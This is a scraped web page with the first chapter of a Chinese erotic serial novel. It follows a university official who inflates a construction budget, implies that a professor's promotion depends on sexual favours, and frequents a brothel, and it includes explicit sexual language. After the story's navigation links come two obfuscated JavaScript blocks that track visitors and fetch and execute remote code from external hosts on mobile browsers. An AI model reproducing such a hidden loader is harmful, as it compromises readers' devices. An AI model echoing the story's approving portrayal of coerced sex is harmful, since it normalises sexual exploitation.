图片载入中

盛世淫风录1-5

特大字】 【大字】 【中字】 【小字

第一章仲夏晚风轻轻吹

十月份的两江市,虽然已经过了流火烁金的最热时节,但是现在是正午,气温也还足有三十五度左右,下午三点钟,火辣辣的太阳把人晒得昏昏沈沈。两江大学�,学生们大都躲到了装有中央空调的教学楼或者图书馆�避暑,在主校道上,只能在道旁大树的阴影下看到稀稀落落的几条人影,伴随着响亮的几声蝉鸣,一片美好的夏日校园景象。

“那么,今天的会就开到这�,大家回去后要尽快把今天的各项议题落到实处,散会。”两江大学的副校长田军强把眼镜摘下来,对在场的人说道。田军强身材不高,但是腰板笔直,头上的毛发依然乌黑,今年四十八岁的他,去年才刚在两江大学校长兼党委书记张红英的提拔下,升任为学校的副校长,是学校�三位副校长中最年轻的一个。

两江大学的行政楼主楼楼高三十八层,一年前刚刚落成。会议厅位于三十六层,朝南的一面墙是整块的玻璃墙面设计,壮阔的江景180度呈现在墙外。对岸的小山上郁郁葱葱,展现出无限的活力。田军强宣布会议结束之后,与会的众人纷纷起身,收拾好桌上的文书,一个个走了出去。田军强等到其他人都走了,这才回过身子,笑着对刚才一直静静坐在他身边没有发言的年轻男人说:“任处长,刚才的处理方案,您觉得还满意吗?”

年轻男人身材魁梧,身高在一米八零左右,浓眉大眼,相貌堂堂,端坐中的神情自然而然的有一股令人敬畏的气势,在他身前的牌子上写着“任江海”三个大字。看这他的年龄不大,也只有三十上下,但是此刻贵为两江大学副校长的田军强跟他说起话来,居然是一副毕恭毕敬,想要征求他同意的神情,实在令人有些摸不着头脑。

任江海指了指旁边的椅子,“老田,咱们坐下说话。”

田军强笑着坐了下来。任江海伸手从衣服�面摸出烟盒取出一盒烟,先递给田军强一根,田军强忙取出打火机,帮他把烟点上。任江海先吸了几口烟之后,这才缓缓地说:“新学生宿舍的建设工作,应该作为我们接下来工作的重中之重来抓,这点想必不用我提醒,你也应该明白吧。”

“是是,这个不劳您的吩咐,我当然知道,刚才就是让他们把这个作为头等大事来抓!”

任江海挥挥手打断田军强,“但是刚才开会时我听了财务处的报告,对拨款这块,他们那边好像有些想法啊。”

“是啊!老白那人真是固执……不过处长你放心,我这就再去找他谈谈,新学生宿舍的建设款项一定会马上落实。”

任江海点了点头,说:“那就好,你也知道,张校长她是多么关心这一次的校舍建设。我们两江市可是地处地震多发地带,学生宿舍要是不能达到最高标准,万一出了事,你我二人,能担得起这个责任吗?”任江海吐了口烟说。

“是,我一定让他们按照最高标准来施工,一定要。”田军强伸手抹了抹额头上的汗水。这栋现代化行政办公楼�面安装的中央空调是从德国进口的最新系统,室内温度被设定为摄氏二十三度,按理说是不会令人出汗的才对。

“按照刚才那份提案,就那点钱啊,盖个猪圈都嫌不够,盖学生宿舍?这不是拿学生的性命开玩笑吗?为了学生的安全着想,花再多的钱也在所不惜!我看款项方面,至少还要追加一倍才够,老田你看呢?”任江海接着说。

田军强吃了一惊,刚才财政处的报告已经给出了几千万的预算,光光是盖几层学生宿舍,哪怕是以抗九级地震的标准来施工,也花不了这笔预算的一半。这几年跟任江海共事,多少知道他的为人,但是没想到这一次他的胃口居然这么大,一下就要求再追加一倍之多。

“我们当然要按照中央的指示来勤俭办学,不过,这校舍建设标准可决不能放低!前些年文川的教训还不够深刻,不够惨痛吗?老田啊,要依我看啊,追加一倍还不够保险啊,万一真地震了,把校舍给震塌了,那网上舆论你是知道的,那些暴民喊打喊杀,到时候背黑锅的,那可是我们兄弟两个啊!”

“是是是……一定要追加,一定要追加……”任江海都说到这份上了,田军强只得不停地点着头。

任江海把烟抽完,说:“那你就多用点心,你去跟老白说,一切要把学生的安全放在首位!至于审计处那边,就不用他操心……好了,我先走了,下星期校长一行人就要回来了,到时还得把预算案交给基建处那边呢。”

“是,我这就去跟老白说,在校长他们回来之前,一定要把事情给办好。” 田军强在任江海的面前一直都是战战兢兢,堂堂两江大学的副校长可以说是一点尊严都没有。不过两江大学�面的知情人对这一点都不感到奇怪,因为在田军强眼前的这个年轻人任江海,不仅在两江大学,甚至在两江市都是无人敢惹的人物。

任江海年纪很轻,上个月刚刚过了自己的三十岁生日,在两江大学这座全省首屈一指的重点高校�,一般人在三十左右的时候,能混到政治辅导员,或者是团支部秘书这样的职位已经是难能可贵,而任江海却已经做到人力资源处处长的要职,不仅如此,他的孪生弟弟任江山,也在两江大学担任基础建设处处长。虽说年纪轻轻,进入两江大学也不过几年时间,但是几乎所有人都知道,若是不小心招惹了他们兄弟二人,那就绝对不要再想在两江大学呆下去了。

以这样的年纪坐到了这样的位置上,这�面要说没什么猫腻都不会有人相信,但是现如今在两江大学�面,却没有人敢去过问这个事情,其中的一个原因,是因为任江海的老婆郑露不是一般人,正是两江大学校长兼党委书记张红英的独生爱女!有这么硬的后台,试问谁还敢去碰这兄弟两人?

任江海兄弟两人一个管人事一个管基建,在两江大学�面几乎可以说是只手遮天的人物,加上两人名字�面都带个“江”字,所以有人在背后给他们两个起了个外号,叫“两江总督”,意思是任氏兄弟在两江大学�头的地位就好比明清的封疆大吏一般,位高权重。

*** *** *** ***

最近,两江大学要新建学生宿舍楼,任江海的弟弟任江山作为基础建设处主任,自然是主要负责人。为了更好的保护学生生命财产的安全,学生宿舍的防震抗震效果尤其值得重视,因此学校领导认为有必要去国外一些地震多发地区,学习考察一下他们的先进经验。为此,两江大学专门组织了一个访问学习团,由校长兼党委书记张红英率领,前往位于太平洋地震带上的群岛夏威夷去考察一个月,作为基础建设处第一把手的任江山自然要随团前往,而任江海则留在了学校�。 走出会议室,任江海沿着楼梯走到下一层的人力资源处,人力资源处占地很宽,而且在�头有一件任江海专用的办公室。任江海走进去,�面只坐着两个人,一看到任江海都站了起来。其中一个看上去有三十多岁,身穿米黄色办公套装的靓丽少妇走到任江海跟前,笑着对他说:“处长,您可回来了,王副教授都在这儿,等了您大半个钟头了。”

任江海看看旁边,是一个四十多岁,瓜子脸,留着弯曲的大波浪长发,身穿着灰色的职业套装,脸上挂着银边眼镜,整个人散发着成熟知识型女人的韵味的中年妇女。

“啊!是王副教授啊。”任江海嘴角一弯,笑了笑,说:“真不好意思,我这一开会就忘了时间……来来,到办公室�面聊。”

中年女人忙陪着笑,“任处长,我知道您公务繁忙,真不好意思,这时候还来打扰。”

“都是分内的事,来来。”任江海不多说话,就把王副教授领进了办公室�面。他的办公室宽敞明亮,落地的大玻璃窗可以将附近的美景一览无遗。两人走进办公室后,任江海很绅士地把办公桌下的办公椅抽了出来,作了个“请坐”的手势,说道:“请坐,王副教授,您今天来我这�,有何贵干?”任江海开门见山地问,眼睛有意无意地看了一眼墙上的时钟,然后自己走到对面的椅子上坐下。 “任处长,若不是要紧的事,我也不好意思来打扰您……不过这次评职称的事,您看……”任江海嘴�的王副教授:王月萍道了声谢后坐了下去,然后用谨慎的语气对着比她年轻十多岁的任江海说道。

“哦……是这件事啊,王副教授,不好意思,我还没看你们院那边传过来的文件呢。”任江海双手轻扣,手肘支在办公桌上面,带笑对王月萍说。

“是吗?任处长,我不是催您,只是……”王月萍脸上带着忧愁的神色,说。 任江海摆摆手,说:“稍等一下。”低下头去翻了翻桌子上的文件,从�头抽出一份,脸上挂着一丝诡异的微笑说:“这要是别人啊,我就直接让他回去等消息了,不过王副教授您嘛,那当然又不同了……”任江海翻动手上的文件,看了几分钟,说:“这事情啊……不好办啊,王副教授,毕竟你们文学院那边的晋升名额是很有限的。”

“这……”一听任江海打起了官腔,王月萍顿时心头一紧。

“您的这份申请我粗略都看了,您在现当代文学教学领域是我校的佼佼者,在文章还有科研成果方面,的确也是达到了教授的要求,但是嘛……这一次的竞争还是比较激烈的,您也知道,张副教授和季副教授这两年都为学校做出了很大的贡献,我看过他们的申请,坦白说,我不觉得您的申请比他们的更有优势。” 顿了一顿,任江海接着说道:“你也知道,我们在决定晋陞人选的时候,是需要综合考虑候选人的各方面条件的。”

“可是他们才做了多久的副教授?我呢?副教授都做了十多年了……”听任江海的口气,似乎这次提升又没有自己的份了,王月萍的语气不由得有点激动了起来。

任江海脸色一沈,挥手打断了王月萍的话,“王副教授,你也不用冲着我急,这次晋陞的事儿我们部�也还没有做出决定,机会嘛,对大家都是均等的,你可以安心静等结果。如果到时对我们的决定有什么意见的话,再来对我发脾气也不迟嘛!当然啦,如果你对我们的处理方式有意见的话,也可以打投诉电话……” “不不不……”王月萍忙截住任江海的话,“我不是这个意思,任处长,我绝对没有质疑您的意思。”任江海做事的方式王月萍在别人那�也听过一些,知道得罪了他绝没有好果子吃,忙说:“我相信部�一定会做出公平公正的决定。” “那就好,王副教授,您还有什么事儿吗?”任江海擡腕看了看表。

“没事了,没事了,任处长……”王月萍一副左右为难的神情,不知道是该说下去还是就此告辞。

任江海注视着王月萍的眼睛,笑笑吹了吹口哨。王月萍接触到任江海那双逼人的眼神,又看到他嘴角边那种别有心机的笑意,心�猛地一跳,忙把头扭到一边,但转念想想这样子显然非常失礼,就连忙又扭过头来。

任江海这一笑显得有些意味深长。他扬了扬手�的申请文件,“您的申请我是看过了,不过嘛,�面有些方面我还不是很了解,我今晚会再仔细研究研究,到时嘛,可能……还要向您请教请教!”

王月萍一喜,忙说:“可以可以,任处长,有什么不清楚的,我现在就可以跟您说明。”

任江海不让王月萍说下去,截住话头说:“现在我还有别的事儿要忙,我说了,今晚再研究这份申请,在我家�。王副教授,你看是不是方便今晚到我家去指点指点?如果这会儿您没什么别的事儿的话,现在我们就先说到这儿吧?” “这……”王月萍心想有什么事是非要去他家�解释不可的呢?但是看着任江海那副神情,她也知道再呆下去也不会有什么结果,只好勉强站了起来,忧心忡忡地从人力资源处办公室走了出去。

任江海看着王月萍的背影消失后,拿着手�的文件站起来走到办公室一角的大书柜旁,在书柜从上面数下来第二层整齐地排放着一列《二十四史》丛书,任江海把手伸到《新五代书》这本,把书拿了下来,书本的后面赫然有一个跟书柜同色的小小按钮,不注意看的话是看不出来的。任江海按了按那个按钮,只见偌大的书柜马上就向旁边滑开,露出了隐藏在后面的一个小小暗门。任江海从裤袋�摸出一串钥匙,打开门走了进去。

门后面是一个很大的房间,足有三十多平米见方,房间的一角用玻璃隔出来一个空间,�面赫然是一个像是SPA的浴池,房间�放着一张大床,床头正对着浴池的方向,另一边有一个宽还不足两米的小小夹间,靠墙放着一排文件柜,剩下的空间就更狭小了,只能容一个人勉强通过。

任江海走进夹间,打开一个抽屉,将手�的文件放了进去,然后回头走出密室,把门关好,再按下书柜上的按钮,将一切恢复原状。接着任江海走出自己的房间,在偌大的人事部�面除了他之外只有剩下刚才值班的那个少妇。

“怎么?连王副教授这样的老太婆,处长大人你也不放过啊?”在人力资源处�值班的女人名叫张岚,任江海出来的时候,她手�正拿着一张报纸在看,听到任江海的脚步声,她笑着说。

任江海说:“半老徐娘,风韵犹存啊,我们的生活中不是缺少美,而是缺少发现的眼睛,不是吗?”他走到张岚身边,问:“看什么看得这么出神呢?” 张岚被任江海的话逗得大笑了起来,她今年三十八岁,是人力资源处下属劳工科的科长,人力资源处下属员工不少,但是都被安排到别的办公室办公,唯独只有她一个人得到任江海的特许在这�值班。她听到任江海问她,笑着扬了扬手�的报纸,说:“就是西京那桩大学生开车撞人后连扎了人家十多刀,把人扎死后跑掉的案子呗。”

“哦?怎么说?”

张岚把报纸递给任江海,任江海简单地看了一遍那篇头版的报道,大意是说西京市中级人民法院在审理此案时向现场500名旁听人员每人发放一份“旁听 人员旁听案件反馈意见表“,问卷上除了庭审的合议庭成员名单,还附有两个问题:”您认为本案犯应处以何种刑罚?“、”您对旁听案件庭审情况的具体做法和建议?“然后还报道了旁听人员大多是嫌犯的同学之类的一些消息。 “这明显是要放那小孩一条生路嘛。”张岚说,“这么多人出来求情,连那个什么教授,都在电视上给他开脱了……”

“你真这么想的?”任江海微微一笑,说:“我的看法跟你相反,依我看啊,这小子的前途不妙。”

“怎么会?”张岚一脸不信的神情。

“你想想,要是他家�真有背景,这些审讯的细节会让媒体给披露到这个程度?”我爹是黎刚“、”苏杭飙车七十码案“,这些够不够轰动?你能知道审讯时的细节吗?别说细节了,最后究竟是怎么判的,你看过有细致的报道没有?” 任江海接着说:“这案子能让媒体报道到这个地步,而且上头似乎在极力扩大其影响力,电视整天播个没完……所以我说,这小子估计也差不多了。” “可是我看死者那边的律师说,这小孩是什么军二代还是官二代来着,家�不仅有钱得很,还很有背景呢!”张岚指着旁边的一篇报道给任江海看。

“真有背景能让你报道啊?”任江海冷冷笑了一声,说:“再说,你看他开的什么车?雪佛兰科鲁兹!你见过哪个官二代开这种车来着?有钱人?笑话!” 任江海看了看那篇报道,说:“不过啊,这律师真是个人才,知道怎么利用舆论,把富二代这帽子死命往着小孩头上扣,够无耻的。这年头,谁他妈都见不得别人过得比自己好,谁让这小子家�还买得起车呢?那些人可不管你开的是一法拉利还是一雪佛兰……等死吧,到这份上谁也救不了这孩子了。”任江海说完把报纸往桌子上一扔,看看四下没人,走到张岚的背后,双手环到她的胸前,在她的两个奶子上面搓了搓。“怎么?两个星期没弄你了,小屄痒了没有?” “讨厌!”张岚脸一红,嘴�说着,脸上却是一副享受的神情。“这么大一人,说话这么流氓!”

任江海嘿嘿一笑,说:“走吧,该下班了。”

张岚年纪虽然比任江海大了足足八岁,却早就是任江海的情妇之一。她办事精明慎密,是不可多得的秘书型人才,所以任江海经常把她留在办公室�头,以应付各种各样的日常事务。这时听任江海这么说,张岚就知道他的意思就是要带自己去开房。“怎么,老婆不在,憋不住了?”她笑着问道。任江海的老婆,也就是校长张红英的独生女儿郑露,是两江市电视台市首席新闻播音员,全市公认的美女主播。这段时间因为两江市和德国的慕尼黑市缔结成为友好城市,郑露跟随市委领导团前往德国作前线报道,从上星期就已经不在两江市了。

任江海点点头,笑说:“本来倒是还好,不过一看到你就憋不住了,走吧。” 张岚笑笑说:“今天不行,我马上要带女儿去上钢琴班了,明天吧,明天星期六,上我家去,我老公带女儿去她爷爷奶奶家了,星期天晚上才回来,还有,我嫂子她也想见见你。”

“也是为了升教授的事儿?”任江海说。

“你咋就把人看得那么现实呢?”张岚白了任江海一样,说,“没事就不能找你了?”

任江海不置可否地笑了笑,张岚所说的嫂子,是她亲哥哥的老婆韩莉。韩莉也是两江大学文学院的副教授,教现当代文学的,年纪比张岚大六岁,今年四十四了,在一年前就被任江海搞上了床。

“要等到明天啊……那我今晚不是得寂寞空房独自眠?”

“你刚才不是给王副教授那个啥了嘛?今晚她会自己送上你家门的。”张岚微微笑着说,“如果她没去,你给我个短信,我抽空过去陪你怎么样?”

“好,那就这样说定了。”任江海说完,张岚在他的嘴巴上亲了一下,拿起旁边的包包,把一副硕大的黑色太阳眼镜戴到脸上,说:“我得去接女儿了,再磨蹭就该迟到了。”

“去吧!”任江海打发走张岚。看看时间,不早不晚真好是下午四点钟,离天黑还早得很呢。

*** *** *** ***

“咦?任处长,今天怎么这么早就大驾光临啦?”赵绮一看到任江海的身影,马上笑着迎了过来,她看上去三十岁上下的模样,乌黑的长发烫成了卷曲的大波浪形状,身穿着一条黑色的笔挺西裤,脚上穿着五寸的高跟鞋,上身外罩着一件白色的西式上衣,在胸前扣了一个扣子,看上去干练活泼。只要不说出去,任谁也猜想不到,这个乍看之下像是一名高级白领的少妇,竟是两江市首屈一指的风月场所:金豪夜总会的经理,也就是俗称的妈咪。

任江海显然是这�的熟客了,赵绮带着他进了一个隐秘的包厢,空间不大,但是装修极为豪华。金豪是两江最现代化、最先进的风月场所,一般人都不知道老板是谁,只知道金豪背后的水很深。金豪提供各种各样的服务,据说�头的红牌小姐一晚的过夜费都是天价,不过虽然两江人人都知道金豪有色情服务,但是每次严打扫黄行动金豪都丝毫不受影响。这样的地方自然是专供城中权贵消费的地方,平头百姓一个月的工资还不够在金豪开瓶酒,不过这丝毫也不影响老百姓把金豪的金碧辉煌当成自己城市建设的骄傲,自豪地认为欧美的多数城市比起国内城市来都只算是农村。

“杨欢呢?怎么还不来?”任江海拿了颗烟点上,说道。

赵绮笑着在他身边坐下,说:“在您面前,我可不敢说假话,阿欢有客人呢这会!要不……我去叫她过来?”

任江海是风月场的老手了,跟赵绮也认识了有些时日,自然知道她说这话的意思。杨欢这时候的客人肯定要不就是腰缠万贯,要不就是位高权重的主儿,不然赵绮看到自己,早就安排她过来了,何必还有此一问?于是他大度地摇了摇头,说:“不用了,我也就是来随便坐坐,打发打发时间而已。”

“这样啊?那好吧!”赵绮自然是就坡下驴,说:“那……任处长,我去替你安排一下?”

“不用了不用了。”任江海连连摇头,看了赵绮一眼,说:“赵姐,你陪我聊聊就行了。”

赵绮微微一愣,她今年虽说已经三十七岁了,但是风韵犹存,加上人看上去显得年轻,平时也经常会有一些客人想一亲她的芳泽,但任江海却从来也没有过这样的举动。不过她毕竟是见惯大场面的人,马上一笑,掩饰了自己的神情:“行啊,只要任主任不嫌弃我人老珠黄,想聊啥都行。”

“赵姐,听说你以前还是铁路文工团的大明星呢!有没有这回事?”

“咳,别听他们瞎说,什么大明星,就是一演话剧的。”赵绮说。

“你太谦虚了!”任江海马上笑着说,他把脸靠近赵绮,低声说道:“我还听说啊,赵姐那时候可是‘铁道王’身边的大红人呢!”

赵绮一听,脸上马上一红,眉宇间浮现出一丝怒气。任江海所说的“铁道王”,是当年国家铁路系统的第一把手,曾经是跺跺脚半个国家都要地震的重量级人物,不过后来由于在政治斗争中站错了队,被官方立案侦查,结果被认定贪污及道德败坏,造成国家重大经济损失和恶劣社会影响,并且收受他人巨额贿赂和贵重物品;曾玩弄多名女性,对铁路系统出现的严重腐败问题负有主要领导责任,被开除了公职和党籍。在‘铁道王’在任时,别说铁路文工团但凡有点姿色的女团员都要被安排跟他上床,就连娱乐圈一些二三线的女演员,也都纷纷被安排投入他的怀抱中。曾经有一次,一位跟‘铁道王’有长期关系的女富商为了猎取铁路建设项目中介费8亿元,将一部由她投资的古典文学名着改编电视剧中的女演员十二人,都介绍给他逐一宠幸过。赵绮当年只是‘铁道王’身边众多女人中的一个,加上年纪大了些,也不算非常受宠,虽然跟着也捞了些好处,但是在‘铁道王’倒台之后,树倒猢狲散,她也不得不离开了文工团,最后落得流落风尘。


上一篇:乱情家庭(第一部)(1~20) (2/6)

下一篇:考场奇遇


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};